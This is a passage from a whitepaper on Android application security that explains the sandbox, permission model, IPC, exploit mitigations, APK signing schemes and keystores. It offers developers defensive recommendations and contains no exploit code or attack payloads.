increase in third-party application development in Google's Play Store.
According to Statista, the number of available apps in the Google Play
Store was most recently placed at 3.3 million apps in September 2017,
after surpassing 1 million apps in July 2013^\[2\]^.
The Android applications nowadays, are not only used for entertainment
purposes but also for making financial transactions, medical assistance
etc. which means that there is a flow of sensitive data on the
underlying platform which has a significant requirement of security.
Source:
[[Gartner](https://www.gartner.com/newsroom/id/3725117)]
<p align="center">
<img src="./myMediaFolder/media/image31.png">
</p>
<p align="center">
Exhibit 1
</p>
Source:
[[Statista](https://www.statista.com/statistics/266210/number-of-available-applications-in-the-google-play-store/)]
<p align="center">
<img src="./myMediaFolder/media/image19.png">
</p>
<p align="center">
Exhibit 2
</p>
The paper discusses the security features that are provided by Google
and how the same can be leveraged by developers to make the applications
secure and robust. The security features provided by Google often
aren\'t implemented or are implemented in an improper way. This makes
the application vulnerable to the security issues. The paper will enable
developers to understand the security features and will also highlight
the benefits of implementing the same.
Introduction
============
Android is a open source Linux based software stack that is developed by
Google. It was initially developed by Android Inc. and was later bought
by Google. It is used by many commonly used devices such as smartphones,
tablets, wearables, smart TVs etc.
Android Software Stack
----------------------
The Android software stack is shown in Exhibit 3 and the same is
explained below:
<p align="center">
<img src="./myMediaFolder/media/image13.png">
</p>
<p align="center">
<img src="./myMediaFolder/media/image21.png">
</p>
<p align="center">
Exhibit 3: Insides of Android Platform
</p>
**Linux Kernel:** Android platform is built on the top of a robust Linux
kernel. The Linux kernel itself provides the advantage of underlying
security features such as process isolation, user-based permission model
etc.^\[4\]^ As shown in Exhibit 3 this layer provides all the essential
hardware drivers like camera, keypad, display etc.
As of 2017, Linux kernel v3.18 or v4.4 is used by Android devices.
However, The actual kernel depends on the individual device.
**Hardware Abstraction Layer:** Hardware Abstraction Layer gives the
Android Platform freedom to implement any device specifications and
drivers by providing the standard method for creating software hooks
between the Android platform stack and your hardware.
**Android Runtime:** It consist of core libraries and Dalvik Virtual
Machine(DVM). The core libraries are the Java based libraries that
provide the primary APIs for developers to write Android applications.
Each Android application runs as a different process on the Linux kernel
in its own Virtual machine. Just like JVM, DVM is also a virtual machine
but the latter is designed by Google specifically for mobile platforms.
For Android version 5.0 (API level 21) or higher, the successor of DVM
was introduced viz. ART(Android Runtime) which had the following
performance improvements over conventional DVM:
- Compilation: Compiles the application only once using AOT(Ahead of Time) approach.
- Power Consumption: Reduces power consumption.
- Garbage Collection: Optimizes garbage collection (GC).
**Native Libraries:** The core Java based libraries can be considered as
the java *wrappers* around the C/C++(Native) libraries. The platform
also allows developers to use C or C++ code to build Android
applications using native libraries in the native code through Android
NDK.
**Application Framework:** The Application Framework is a set of
services that collectively form the environment in which Android
applications run and are managed. It provides high-level services to the
applications through Java classes. Application developers use these
high-level services using Java APIs.
**Applications:** Applications are present at the top of the Android
software stack. It consists of both the native system applications and
the third party applications installed by the user.
APK: Android Application Package
--------------------------------
APK is an acronym used for Android Package Kit. It is a software package
that can be installed on Android devices. The software package uses .apk
extension. An APK is an archive i.e. a signed zip file that contains the
application's code, resources etc.
Exhibit 4 shows how Android application compilation and execution is
different from a java application.
<p align="center">
<img src="./myMediaFolder/media/image22.png">
</p>
<p align="center">
Exhibit 4: Compilation and Execution of Android Applications
</p>
### APK Internals
APK is basically a signed zip archive that contains the application
code, resources, signing certificate etc. On unzipping the APK file we
can get the following:
- AndroidManifest.xml: The manifest file describes the essential information about the application. It defines the key attributes of the application such as application components, permission requirements, target and min API version, application icon, package name etc.
- META-INF: The META-INF contains the following:
- MANIFEST.MF: It is the manifest file and it contains the hashes corresponding to application resources.
- CERT.SF: It is the signature file that is created after the application is signed. It contains the list of resources and the hash value of each resource corresponding to its entry in the manifest file.
- CERT.RSA: It is the signature block file. The signature file is a signed file and the signature of the same is placed in signature block file. It also contains the certificate and its metadata.
- assets: It contains the applications assets(HTML/JS Files, pictures etc.) The resources in assets folder can be accessed by Java code using AssetManager.
- classes.dex: This contains the Dalvik bytecode. All the Java code is compiled into Dalvik bytecode and is executed by the DVM.
- lib: It contains libraries that are part of the Android application. The lib directory contains all the libraries that an application may refer to during its execution and which is not a part of the Android SDK.
- res: The res directory contains all the application resources that are not compiled in resources.arsc.
- Resources.arsc: It is a file that contains all the pre-compiled resources.
<p align="center">
<img src="./myMediaFolder/media/image5.png">
</p>
<p align="center">
Exhibit 5: File type of APK
</p>
<p align="center">
<img src="./myMediaFolder/media/image28.png">
</p>
<p align="center">
Exhibit 6: Contents of an APK
</p>
### Android Application Components
Android application components are high level building blocks of an
Android application. Each Android application component is an entry
point through which a user or system can interact.
These components are well described in AndroidManifest.xml
The main Android application components are:
- **Activity:** An activity can be considered as a *screen*. It is an application component that has a user interface. A user can interact with the application through activities. The activity handles user interaction. Any Android application usually has one or more activities.
- **Service:** A service is an application component that usually performs long running tasks in the background. Unlike activities, a service lacks a user interface.
- **Broadcast Receiver:** A broadcast receiver listens to system wide broadcast announcements. Like services, broadcast receivers lacks a user interface but the former is meant for long running tasks.
- **Content Provider:** A content provider is an application component that is used to store and share data efficiently. The data can be stored in the file system, SQLite database etc.
**Intents**
An intent is an asynchronous messaging object that allows communication
between application components. It can be used for communication between
application components of same or different applications. It can be used
to start an activity, service or for delivering broadcasts.
<p align="center">
<img src="./myMediaFolder/media/image26.png">
</p>
<p align="center">
Exhibit 7: Intent to invoke an application component
</p>
Background/Problem Statement
============================
Android is built on the top of the secure and robust Linux kernel. The
platform itself is considered to be secure due to multiple reasons few
of them being its openness, regular updates for security enhancements
and programs like
[ASRP](https://www.google.com/about/appsecurity/android-rewards/)(Android
Security Reward Programs) that attracts security researchers to build
the secure platform.
In addition to making the platform secure, Google also helps developers
build secure applications by providing features like [SafteyNet
APIs](https://developer.android.com/training/safetynet/index.html)
which helps them to add security to their applications and programs like
[ASI](https://developer.android.com/google/play/asi.html)(App
Security Improvement) that scans applications against 26 odd
vulnerabilities and notifies developers to remediate the issues.
In spite of having security features like SafteyNet, programs like ASI,
and the underlying robust platform the entire ecosystem can only be made
secure if the applications are built considering security in
SDLC(Software Development Life Cycle). The developers must be aware of
using the security features properly. For instance: Using encryption for
handling sensitive data will only solve the problem if it is implemented
in a proper way by using secure algorithms, secure key management etc.
<p align="center">
<img src="./myMediaFolder/media/image25.png">
</p>
<p align="center">
Exhibit 8: Android Security Model
</p>
Security Features By Google
===========================
Application Sandbox
-------------------
Android is built on top of a secure and robust multi-user Linux
operating system. The security features of Linux operating system are
thus an integral part of the Android platform. For instance, every user
in a linux operating system is identified by a unique user ID(UID) and
user's resources are also isolated from each other.
Android takes advantage of the underlying Linux kernel to achieve the
concept of *Application Sandbox*. An application installed in an Android
device is assigned a unique app ID and each application is considered as
a user of the underlying Linux OS. Also each user is allotted a private
directory*(/data/data/\<package-name\>*) which is the local data storage
directory of the application.
Application are sandboxed both at process level and at storage level
since each application executes as a dedicated process and each
application has its own private storage that can not be accessed by any
other application on the system.
*Note:* UIDs are statically defined in
[android\_filesystem\_config.h](https://android.googlesource.com/platform/system/core/+/master/libcutils/include/private/android_filesystem_config.h)
header file. For example, UID for root is 0. Also, UID 1000-9999 are
reserved for system processes. The UID for user application is from
*FIRST\_APPLICATION\_UID* to *LAST\_APPLICATION\_UID* (10000-99999)
The UID is represented as *uY\_aXXX* where xxx is an offset from
FIRST\_APPLICATION\_UID.
For Example: Exhibit 9 shows the results of the *ps* command for user
installed application *Effort On The Go* where the package name
*ebu.lucideus.com.effortonthego* is same as that of process name. The
user id is *u0\_a167* which is equivalent to *10167*
(10,000+offset\_167). Exhibit 10 shows the data directory for the
application.
<p align="center">
<img src="./myMediaFolder/media/image25.png">
</p>
<p align="center">
Exhibit 8: Android Security Model
</p>
<p align="center">
<img src="./myMediaFolder/media/image17.png">
</p>
<p align="center">
Exhibit 9: Application Sandbox in Android Platform
</p>
<p align="center">
<img src="./myMediaFolder/media/image29.png">
</p>
<p align="center">
Exhibit 10: Application Sandbox in Android Platform
</p>
### Notes for Developers
#### World Accessible Files
By default, the files created in the application sandbox are not
accessible to other applications installed on the device. The flags like
[[MODE\_WORLD\_READABLE]](https://developer.android.com/reference/android/content/Context.html#MODE_WORLD_READABLE) and
[[MODE\_WORLD\_WRITABLE]](https://developer.android.com/reference/android/content/Context.html#MODE_WORLD_WRITEABLE) allows developers to create world readable and writable files
respectively. The flags can be used for IPC(Inter Process Communication)
through system files.
These flags were deprecated in API level 17 and the usage of same for
application targeting API level 17 or below is strongly discouraged.
Android provides much better IPC mechanisms and it is recommended that
developers must use them instead of conventional world accessible files.
Explicitly specifying insecure file permissions such as *0666*,*0777*,
*0664* through syscalls or chmod binary is also strongly discouraged.
The best practice recommendation is to explicitly specify the secure
file permissions instead of relying on system's umask. Since the Android
application sandbox could collapse due to misconfiguration and
exploitation.
For Example:
Creating File:
*FileOutputStream secureFile=openFileOutput("SecretFile", Context.MODE\_PRIVATE);*
Creating Folder:
*File secureDirectory=getDir("SecretDir",Context.MODE\_PRIVATE);*
#### Rooted Devices
Rooting an Android device allows a user to run any application as *root*
user. Android is built on the top of Linux kernel and rooting allows a
user to give administrative privileges to any application. This
collapses the application sandbox, since a root user can run any process
with any user ID and can also access private data of any application.
Rooting a device circumvents all the security measures of the operating
system.
From developer's point of view, a rooted device can impact the security
of the application since it allows any malicious application installed
on the rooted device to access the application's sandbox. It also allows
an attacker to perform the runtime analysis of the application where the
application could perform unintended actions when the runtime behaviour
of the application is modified.
For the applications that involve the flow of sensitive data, it is
recommended that the developers must detect and prevent the access from
a rooted device. Although there is no sure-shot solution for proper root
detection since root cloakers (Ex.
[Magisk](https://forum.xda-developers.com/apps/magisk)) work with administrative privileges and root detection can be
bypassed but the checks indeed increases the attack complexity thus
reducing the overall risk. Developers can use [SafteyNet Attestation
API](https://developer.android.com/training/safetynet/attestation.html),
the same being described in the later section.
Android Permission Model
------------------------
Application sandboxing allows Android applications to only access the
files that resides in its sandbox and world accessible files. This
limits the scope and functionality of the applications and in order to
prevent this Android permission model was designed. In order to provide
richer functionalities the model allows applications to request
additional fine grained access rights known as permissions.
Application can request permission and the same is granted to
application by either system or user depending on the type. These
permissions are listed in *AndroidManifest.xml* file.
### Permission Protection Levels
The Android system permissions are broadly categorized on the basis of
protection level into four categories. The two most important ones are
discussed below:
- **Normal Permissions:** When the data/resources required by the application outside the sandbox involves very little risk to user's privacy. If an application requests for normal permissions, these permissions are automatically granted by the system.
- **Dangerous Permissions:** When the data/resources required by the application outside the sandbox involves user's privacy. If an application requests for dangerous permissions, the permissions are explicitly granted by the user.
#### Permission Groups
Android supports the concept of permission groups such that any
permission can belong to a permission group but since the normal
permissions are automatically granted by system the concept of
permission groups only affect if the permission is dangerous.
The other two categories are:
- **Signature Permissions:** The permission with protection level *Signature* is granted by the system only if the requesting application is signed with the same certificate as the application that declared the permission.
- **signatureOrSystem Permission:** The permission with protection level *signatureOrSystem* is granted by the system to applications that are in the Android system image or that are signed with the same certificate as the application that declared the permission.
### Correlation of Application Sandbox and Android Permission Model
Android maps application UID with the corresponding metadata in
*/data/system/packages.list* file. This helps to correlate between two
different concepts namely Application Sandbox and Permission Model.
Exhibit 11 shows the metadata corresponding to the application UID
*root\@1201:/ \# cat /data/system/packages.list \|grep
/data/data/ebu.lucideus.com\>*
**ebu.lucideus.com.effortonthego** **10167** **1**
**/data/data/ebu.lucideus.com.effortonthego** **default** **3003**
Where each entry is defined below:
> ***ebu.lucideus.com.effortonthego***: Package Name
>
> ***10167***: UID assigned to application
>
> ***1***: Debuggable Status (1 if debuggable)
>
> ***/data/data/ebu.lucideus.com.effortonthego***: Application's private
> directory.
>
> ***default***: SEinfo label(Used by SE Linux)
>
> ***3003***: List of GIDs(Group IDs) that the application belong to,
> such that each GID is typically linked with Android permission.
<p align="center">
<img src="./myMediaFolder/media/image8.png">
</p>
<p align="center">
Exhibit 11: Android application and its metadata
</p>
### Notes for Developers
#### Excessive Permissions
An Android application should not request for the permissions that are
not even required by the application. This increases the attack surface
unnecessarily.
As the name implies, dangerous permissions request the data/resources
that involve users private information, hence even if one dangerous
permission is granted by the user, all the dangerous permissions in the
same group are granted implicitly. So it is recommended that the
dangerous permissions should be taken seriously and should only be
requested if required.
#### Securing Application Components Using Permissions
Android applications are built of application components such as
activities, receivers, services and providers. These application
components interact with each other so as to perform intended
functionalities.
In the scenarios where the scope of interaction of an application
component is limited to that of same application it is recommended that
the component developers should explicitly specify that the component is
non-exported in AndroidManifest.xml by setting the attribute
android:exported to false in the component\'s manifest element.
If the application component interacts with other components of the
developer's own application signed with same key. It is recommended that
the developers must use signature level permission in
[android:protectionLevel](https://developer.android.com/guide/topics/manifest/permission-element.html#plevel)
and the same permission must be specified in the component\'s manifest
element.
IPC: Inter Process Communication
--------------------------------
IPC(Inter Process Communication) is a mechanism which allows processes
to communicate with each other and allows them to synchronize their
actions.
Linux operating system allows several mechanisms to achieve IPC via
files, pipes, FIFO, sockets etc.
Android is built over Linux which supports the concept of [Binder
Framework](https://www.nds.rub.de/media/attachments/files/2012/03/binder.pdf) i.e. it allows IPC through [RPC](https://en.wikipedia.org/wiki/Remote_procedure_call)(Remote
Procedure Calls) between client and server processes. Binder framework
manages the underlying RPC mechanism and provides a simple user
interface by exposing the APIs. The infrastructure provided by binders
is used by in-process and cross-process calls.
### Intents
Intents supports the communication between application components. An
intent is a simple message object that represents an intention. They are
basically of two types:
#### Explicit Intents
Explicit intents specify the fully qualified class name of the component
with which the application wants to communicate. Since the name of the
component is explicitly mentioned in intent object the resolution
happens by invoking the recipient.
#### Implicit Intents
Implicit intents are sent to the Android system for resolution. Implicit
intents do not specify the application component to interact instead it
includes other attributes that help the system to resolve the intent.
### Intent Filters
Intent filters help the Android system to resolve implicit intents as
system compares the contents of the received implicit intent with the
intent filters declared in the manifest file of other applications
installed on the device.
- In the scenario where the contents of an intent matches the intent filter, the system invokes the component with matching intent filters and it also passes the intent object.
- In the scenario where multiple intent filters are compatible, the system displays a dialog box for a user to select among various application. The same is shown by Exhibit 12.
<p align="center">
<img src="./myMediaFolder/media/image27.png">
</p>
<p align="center">
Exhibit 12: Resolution of implicit intents
</p>
### Notes for Developers
#### Insecure IPC Mechanisms
Developers sometimes use sockets(*localhost* network ports) for handling
sensitive IPC. Having said that, binding on
[INADDR\_ANY](http://www.delorie.com/gnu/docs/glibc/libc_317.html)
is even worse than using
[INADDR\_LOOPBACK](http://www.delorie.com/gnu/docs/glibc/libc_317.html)
as it will allow application to communicate from anywhere. Similarly
usage of world accessible for IPC is strongly discouraged.
It is recommended that developers should instead use Android IPC
mechanisms which allows the verification of identity of the application
that are trying to interact through IPC. For Ex: Usage of content
provider is an efficient and secure way of sharing data with other
applications than conventional world accessible files since it offers
fine-grained and dynamic access control in terms of read and write
permissions.
#### Insecure Android Broadcasts
Android allows applications to use broadcast to send messages to
multiple applications through the following ways:
**Normal Broadcast** through
[Context.sendBroadcast()](https://developer.android.com/reference/android/content/Context.html#sendBroadcast(android.content.Intent,%20java.lang.String):
The normal broadcasts are asynchronous broadcasts i.e. these broadcasts
are sent to every registered receiver and they act in an asynchronous
fashion.
**Ordered Broadcast** through
[Context.sendOrderedBroadcast()](https://developer.android.com/reference/android/content/Context.html#sendOrderedBroadcast(android.content.Intent,%20java.lang.String):
The ordered broadcasts are delivered based on priority associated with
every registered receiver. Priority is defined through
"*android:priority*" attribute. Receivers with higher priority received
it before those with lower priority.
**Sticky Broadcast** through
[[Context.sendStickyBroadcast()]](https://developer.android.com/reference/android/content/Context.html#sendStickyBroadcast(android.content.Intent))(*deprecated
in API 21*): These broadcasts are sticky in nature as they stay around
even after completion of broadcast such that receivers can receive these
intents even after their dormancy.
The following are the possible security issues associated with public
broadcasts:
- Sensitive Data Exposure: In the scenario where an application sends sensitive data in a public broadcast, a malicious application installed on user's device could register a receiver with intent filters having all possible actions, data and categories, in order to receive all public broadcasts
- DOS(Denial of Service): In the scenario of ordered broadcast a malicious application installed on user's device could register a malicious receiver with high priority in order to receive the broadcast on priority. On receipt of the broadcast the malicious receiver could either drop the broadcast or inject malicious data, resulting into the broadcast that is ultimately returned to the sender causing DOS.
It is recommended that developers should use explicit intents if the
intent is destined for a single receiver and otherwise use [Local
Broadcast
Manager](https://developer.android.com/reference/android/support/v4/content/LocalBroadcastManager.html)
when the broadcast is not a public broadcast. Local broadcast manager is
a helper class to register local broadcast receiver and to send local
broadcasts. The broadcast remains within application and never goes
outside the current process. This is an efficient and secure way of
implementing local broadcasts.
In the scenarios where the broadcast is to be sent to the receiver of
the other application signed with the same key it is recommended that
signature permission must be created in the application manifest and the
same must be used at the time of initiating broadcast.
If the application has to interact with the broadcast receiver of other
applications the broadcast should never contain any sensitive data.
#### Insecure Implementation of Pending Intents
A pending intent is an intent whose execution can be delayed. A pending
intent can be sent to any application and the receiving application can
perform actions corresponding to it with same privileges and permissions
as that of the original application. Using pending intents, we allow a
foreign application to perform operations corresponding to intent as if
the the operations are performed by the very own application.
Since pending intents allows foreign applications to perform actions
corresponding to it, with the privileges of the original application and
hence it must be developed with security in mind.
Using an implicit intent for the pending intent is highly discouraged as
any application installed on user's device could intercept the implicit
intent and pass it on to an inappropriate location, while both the
intent originator and the intent recipient would remain unaware that the
intent had been intercepted. This could lead to sensitive data exposure
or redirection of intent that could lead to unintended behavior.
Exploit Mitigation Techniques
-----------------------------
Buffer Overflow is an anomaly where a program/process while writing data
to a buffer( fixed length
[buffer](http://searchcio-midmarket.techtarget.com/definition/buffer)
block of memory) overwrites adjacent memory locations of a buffer. It is
a serious software anomaly, since if exploited it can even allow an
attacker to control the underlying process. Exhibit 13 shows the simple
example of buffer overflow.
Source:
[[Wikimedia]](https://commons.wikimedia.org/wiki/File:Buffer_overflow_basicexample.svg)
<p align="center">
<img src="./myMediaFolder/media/image9.png">
</p>
<p align="center">
Exhibit 13: Buffer Overflow
</p>
In the usual scenario of exploitation of buffer overflow vulnerability,
attackers inject code into the adjacent memory locations of a buffer and
then redirects the execution to the injected code. This allows an
attacker to execute code with the privileges of a vulnerable
program/process. Attackers can also inject the garbage input to crash
the running process to create DOS(Denial of Service)
Android applications can have native components that are built using
native code(C/C++). Native code can create lots of security issues as
any input into Android native code can lead to memory exploitation
issues and can cause code execution or may crash the application.
Android supports technologies like
[ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization)(Address
Space Layout Randomization),
[NX](https://en.wikipedia.org/wiki/NX_bit)(Never
eXecute),
[ProPolice](https://en.wikipedia.org/wiki/Buffer_overflow_protection#PROPOLICE),
[safe\_iop](https://www.wiley.com/en-us/Android+Hacker%27s+Handbook-p-9781118608647)
etc. to mitigate risks associated with common memory management issues.
### ASLR
ASLR is a mitigation concept that prevents exploitation of memory
corruption issues. As the name suggests ASLR randomly arranges the
address space position of key modules of a process like base of
executable, stack, heap etc in order to bring randomness.
### Data Execution Prevention
Android supports the concept of data execution prevention which prevents
attacker from executing the arbitrary code by disallowing the execution
of data.
Android supports this concept from API level 9 and above by supporting
the concept of hardware-based NX(No eXecute) to prevent code execution
on the stack and heap.
### Protecting Stack
Android also supports techniques to combat stack-based buffer overflows.
The concept of [stack
canaries](https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries)
also known as cookies is used. It is a random value that is stored
before the return address of current stack frame and when a overflow
occurs the canary is also modified which indicates that the occurrence
of buffer overflow.
Android supports the concept of ProPolice from API level 3, the former
is a more effective than Stackgaurd.
### Notes for Developers
#### Leveraging Underlying Exploit Mitigation Techniques
Android supports exploit mitigation techniques such as ASLR, NX,
PRoPolice etc. but the underlying Linux kernel enables these protections
only and only if the binaries are compiled using these security options.
It is strongly recommended that developers must use these security
options.
- ASLR: Linux kernel enables and disables ASLR based on information in the information in the binary format of executable code module.
Position independent binaries can be created when the executable is compiled with *-pie* and *-fpie* flags.
- Non Executable Stack: Architectures corresponding to Android 2.3 and later supports non-executable pages by default including non executable stack and heap. But the underlying linux kernel marks the underlying stack memory as executable unless the same is explicitly specified through the compilation options of binary. The binary must be compiled with *-znoexecstack* option as it adds non executable flag for *GNU\_STACK* program header.
- Stack Protection: In order to combat stack based buffer overflows the ProPolice exploit mitigation must be enabled. The ProPolice stack protection is enabled by using -fstack-protector compilation option.
All the exploit mitigation mechanism supported by Android platform must
be enabled while compiling the binaries. Google has made this very
simple for Android developers as developers can use Android NDK(Native
Development Kit) as it enables all the exploit mitigation techniques by
default. It is strongly recommended that the developers use the latest
version of the Android NDK and must also target highest possible Android
API versions.
#### Usage of Banned Functions and Vulnerable Libraries
Even though Android provides lots of exploit mitigation techniques and
Android NDK enables them by default, this should not be considered as an
excuse for insecure coding. Developers must not completely rely on the
security of the underlying platform and instead concentrate more towards
coding a secure and robust application.
The usage of [banned
functions](https://msdn.microsoft.com/en-us/library/bb288454.aspx)
like *gets()*, *puts()*, *strcpy()*, *strcat()* etc. is very strongly
discouraged. Avoiding these banned functions in native code can lead to
significant reduction of potential security issues in native code.
Developers should also not use vulnerable third-party libraries. It is
recommended that the updated libraries with all the latest security
fixes must be used if required.
When dealing with native code, developers must consider each entry point
to be a potential security threat and should scrutinize each entry
point. For example, any data read from a world writable file, received
over a network or through IPC should be validated properly before
processing it through native code.
It is also recommended that the developers must follow [secure coding
guidelines](https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards)
while developing the code. It is also recommended that [static code
analyzers](https://www.owasp.org/index.php/Source_Code_Analysis_Tools)
should be used.
Application Signing
-------------------
Android supports the concept of application signing such that it only
allows signed application packages to be installed on Android device.
Application signing ensures that the future updates to the application
are authentic and come from the same author.
### Digital Signature
Before diving deep into the concept of digital signatures let us first
understand the following concepts:
**Cryptography**
Cryptography is the science of hiding things. It is used for converting
plaintext to cipher-text such that the confidentiality of the secret
message is maintained. Basically cryptography is broadly classified into
two categories:
- **Symmetric Key Cryptography:** It refers to the encryption methodologies where both the parties share the same key. The key is known as symmetric/secret key.
- **Asymmetric Key Cryptography:** It refers to the encryption methodologies where both the parties have different keys namely public and private key. It is also known as public key cryptography.
- **Hashing:** Hashing is a cryptographic operation that converts the input message of
any length to value of fixed length known as hash/message digest. It is
implemented using a one way function i.e. it is not reversible.
Cryptographic hash functions are used to determine the integrity of the
input message.
<p align="center">
<img src="./myMediaFolder/media/image4.png">
</p>
<p align="center">
Exhibit 14: Symmetric Key Cryptography
</p>
<p align="center">
<img src="./myMediaFolder/media/image1.png">
</p>
<p align="center">
Exhibit 15: Asymmetric Key Cryptography
</p>
<p align="center">
<img src="./myMediaFolder/media/image10.png">
</p>
<p align="center">
Exhibit 16: Cryptographic Hash Function
</p>
Now after understanding the basic cryptography mechanism it will be
easier to understand the concept of digital signature.
Digital signature is an application of cryptography that uses the
concepts of public key cryptography and cryptographic hash functions for
demonstrating the authenticity of digital messages or documents.
A valid digital signatures provides an authenticity of the sender and
along with that it helps the receiving party know that the integrity of
the message is maintained.
Exhibit 17 very well explains the mechanism of generation and
verification of digital signatures.
Source:
[Wikipedia](https://en.wikipedia.org/wiki/Talk:Digital_signature#/media/File:Digital_Signature_diagram.svg)
<p align="center">
<img src="./myMediaFolder/media/image32.png">
</p>
<p align="center">
Exhibit 17: Generation and Verification of Digital Signatures
</p>
Application Signing Process
----------------------------
For signing an Android application we need *Keystore.* A keystore is a
store that contains one or more keys. Basically there are two types of
keystores:
- Debug Keystore: It is used during debugging phase of the Android application development. The application signed using debug keystore can not be pushed to application stores such as Google Play.
- Release Keystore: It is used for the signing of the release build. The application signed with release keystore can be uploaded on application stores such as Google Play.
<p align="center">
<img src="./myMediaFolder/media/image11.png">
</p>
<p align="center">
Exhibit 18: Application Signing and Verification Process
</p>
The following utilities are used during application signing:
[Keytool](https://docs.oracle.com/javase/6/docs/technotes/tools/windows/keytool.html):
It is a Java utility and is part of Android SDK. It helps to manage
cryptographic keys, X.509 certificate chains, and trusted certificates.
As discussed, a keystore file may contain multiple keystores and each
one of them is identified by a unique alias.
A Keystore file is protected by two passwords one for keystore itself
and another for each entry in keystore.
It is recommended that the passwords used should be unique.
[Jarsigner](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/jarsigner.html):
It is also a Java utility that is part of Android SDK. The utility has
two main purpose, one is signing java archive and the other is
verification of signing. It generates digital signatures using key and
certificate information from keystore.
Once the APK is signed two additional files are created in the
application package namely MANIFEST.SF and CERT.XXX(where XXX depends on
usage of underlying algorithm eg. RSA, DSA etc.)
[Apksigner](https://developer.android.com/studio/command-line/apksigner.html)
It is signing utility that is developed by Google. Google introduced a
new signing scheme(v2 Signing Scheme). It is used for the signing using
scheme v2. This signing scheme is considered more efficient and it also
provides more protections against unauthorized alterations to APK file.
### Notes for Developers
#### Insecure Signing Scheme
Signature scheme v1 only takes into the zip entries and ignores any
extra bytes while calculating and verifying the signatures. A serious
vulnerability [Janus Vulnerability: CVE
2017-13156](https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures)
was also identified in signature scheme v1 that allows attacker to
modify the code in application without affecting its signature.
Applications signed with signature scheme v2 and running on supporting
device are protected against the vulnerability.
It is recommended that developers must use signing scheme v2 over
signing scheme v1 as the latter do not properly protect the APK from
unauthorized alterations. Signature scheme v2 treats the APK as a *blob*
and performs the signature checking across the entire file.
#### Insecure Signing Algorithms
During application signing usage of weak cryptographic algorithm such as
*SHA-1*, *RSA-1024* etc. should be avoided in order to prevent security
issues. Hashing algorithms such as MD5, SHA-1 etc. are vulnerable to
[collision](https://en.wikipedia.org/wiki/Collision_attack)
attacks whereas encryption algorithm such as RSA-1024 is vulnerable to
multiple known cryptographic attacks making it weak and officially
deprecated.
It is also recommended that strong hashing algorithm such as *SHA-256*
be used. Also, instead of *RSA-1024*, *RSA-4096* or *RSA-2048* should be
used. However, *SHA256withRSA* and other better hashes are only
supported on API level 18 and above. It is without a doubt a security
versus compatibility trade off on which developers need to take a
decisio
Android Keystores
------------------
### Keystore
As the name implies keystore is a storage facility that is used to store
keys and certificates. It can be implemented by a file or a hardware
device. Generally it is used to store the following entries:
- **Private Key:** The encryption key that is used during asymmetric encryption. It is used to sign a digital signature.
- **Certificate:** It is a signing certificate that contains the public key(asymmetric encryption) and metadata.
- **Symmetric Key:** It is secret key that is used for symmetric key cryptography.
There are different types of keystore depending on the underlying
implementations. For example,
[JKS](https://docs.oracle.com/javase/7/docs/api/java/security/KeyStore.html)(Java
KeyStore),
[BKS](https://bouncycastle.org/specifications.html)(Bouncycastle
KeyStore) etc.
### Android Keystore
Android platform supports the concept of Android Keystore. Android
Keystore system allows the secure storage of cryptographic keys that
makes the extraction of the stored keys difficult. The concept of
Android Keystore has undergone a tremendous evolution as shown in
Exhibit 18 and further discussions below.
Android supported the concept of [System Credential
Store](https://www.amazon.in/Android-Security-Internals-Depth-Architecture/dp/1593275811#reader_1593275811)
from Android 1.6. It was used to store the encryption key that was
derived using user's password. The key was used to encrypt VPN and WiFi
EAP credentials such that these credentials were stored encrypted on
disk. The System Credential Store was only accessible to system
applications and no public APIs were available.
Android introduced [KeyChain
API](https://developer.android.com/reference/android/security/KeyChain.html)
in Android 4.0-API 14. This API was provided to regulate the access to
System Credential Store. It allowed application developers to import
keys to system store. These keys were owned by *System* user. The keys
stored using Keychain API were not *per-app* keys, but any application
could request access to keys.
Android introduced the concept of Android Keystore Service in Android
API 4.3-API 18. It supported the concept of *per-app* keys such that key
generated for a given application could not be accessed by other
application. The service runs as *Keystore* user and the concerned files
are stored in */data/misc/keystore*.
<p align="center">
<img src="./myMediaFolder/media/image20.png">
</p>
<p align="center">
Exhibit 19: Evolution of Android Keystore
</p>
#### Hardware Backed Keystore
##### TEE:Trusted Execution Environment
As the name implies
[TEE](https://en.wikipedia.org/wiki/Trusted_execution_environment)(Trusted
Execution Environment) is a secure region of the main processor. TEE is
meant for handling sensitive data such that it ensures that sensitive
data is stored, processed and protected in an isolated, *trusted
environment*.
[ARM](https://en.wikipedia.org/wiki/ARM_architecture)(Advanced
[RISC](https://en.wikipedia.org/wiki/Reduced_instruction_set_computer)(Reduced
Instruction Set Computing) Machine) is a family of RISC architecture for
computer processors. Organizations such as Qualcomm and Texas
Instruments make CPUs based on the architecture licensed from ARM. ARM
implements the concept of TEE through [ARM
Trustzone](https://www.arm.com/products/security-on-arm/trustzone).
This technology provides hardware features to create a secure
environment separated from normal execution environment.
Source: [[Analysis of Secure Key Storage Solutions on
Android]](http://www.cs.kun.nl/~erikpoll/publications/AndroidSecureStorage.pdf)
<p align="center">
<img src="./myMediaFolder/media/image6.png">
</p>
<p align="center">
Exhibit 20: ARM Trustzone
</p>
Exhibit 20 shows separation of the hardware in two worlds namely secure
world and normal world. Two isolated virtual environments are created
that includes virtual processors and virtual resources such that the
processes running in normal world can not access the secure resources
directly.
#### Keystore Entries
Keystore service maintains different directories for different user of
Android device. The entries are stored in */data/misc/keystore/user\_x*
where x is the Android user ID, starting with 0 for the primary user.
Exhibit 21 shows the storage of entries in *user\_0* directory. As
shown, each entry is owned by *keystore* user and is only accessible to
the same. The entries have a common naming convention of
*XXX\_YYY\_ZZZ*. Where each underscore separated value has the
following meaning:
- *XXX* is UID of the application that created the keystore.
- *YYY* is type of entry, it can be one of the following:
- CACERT-CA Certificate
- USRCERT-User Certificate
- USRPKEY-Private Key
- *ZZZ* is alias name.
<p align="center">
<img src="./myMediaFolder/media/image30.png">
</p>
<p align="center">
Exhibit 21: Keystore Entries
</p>
Whenever any Android application generates a key pair using
[KeyPairGenerator](https://developer.android.com/reference/java/security/KeyPairGenerator.html)
API. The following entries are created in the keystore:
- USRPKEY: The file stores the key pair parameters including the private key.
- USRCERT: The file stores the certificate for the publickey.
As shown in Exhibit 21, the very first entry in the keystore directory
is *.masterkey*, when the device is protected using secure lock screen
credential (e.g., password, PIN, or pattern) a random 128-bit AES master
key is used for encryption. This key is encrypted through a key derived
